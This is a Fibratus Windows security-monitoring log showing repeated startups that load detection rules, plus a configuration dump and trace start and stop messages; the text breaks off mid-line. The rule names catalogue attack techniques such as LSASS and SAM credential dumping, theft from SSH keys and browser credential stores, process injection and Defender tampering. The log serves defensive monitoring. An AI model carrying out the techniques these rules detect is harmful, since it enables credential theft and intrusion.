source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-13T17:00:14+01:00 level=info msg=bootstrapping with pid 17024. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-13T17:00:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-thread=>true enable-threadpool=>false min-buffers=>16 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true max-buffers=>36 enable-audit-api=>true enable-vamap=>true enable-registry=>true enable-mem=>false flush-interval=>1s enable-handle=>false buffer-size=>512 enable-dns=>false enable-image=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 level=>info formatter=>text max-size=>100 log-stdout=>true] + output ......................... [ http=>[ tls-insecure-skip-verify=>false serializer=>json endpoints=>[] enable-gzip=>false method=>POST timeout=>5s enabled=>false] amqp=>[ passive=>false durable=>false exchange-type=>topic delivery-mode=>transient url=>amqp://localhost:5672 routing-key=>fibratus timeout=>5s enabled=>false vhost=>/ exchange=>fibratus tls-insecure-skip-verify=>false] elasticsearch=>[ bulk-workers=>1 flush-period=>1s timeout=>5s index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s template-name=>fibratus sniff=>false gzip-compression=>false healthcheck-timeout=>5s healthcheck=>true trace-log=>false enabled=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-files=>false excluded-procs=>[] excluded-files=>[] skip-mmaps=>false scan-timeout=>10s fastscan=>true skip-registry=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-13T17:00:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-13T17:00:27+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-13T17:00:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-13T17:00:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-13T17:00:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-13T23:20:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-13T23:20:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from 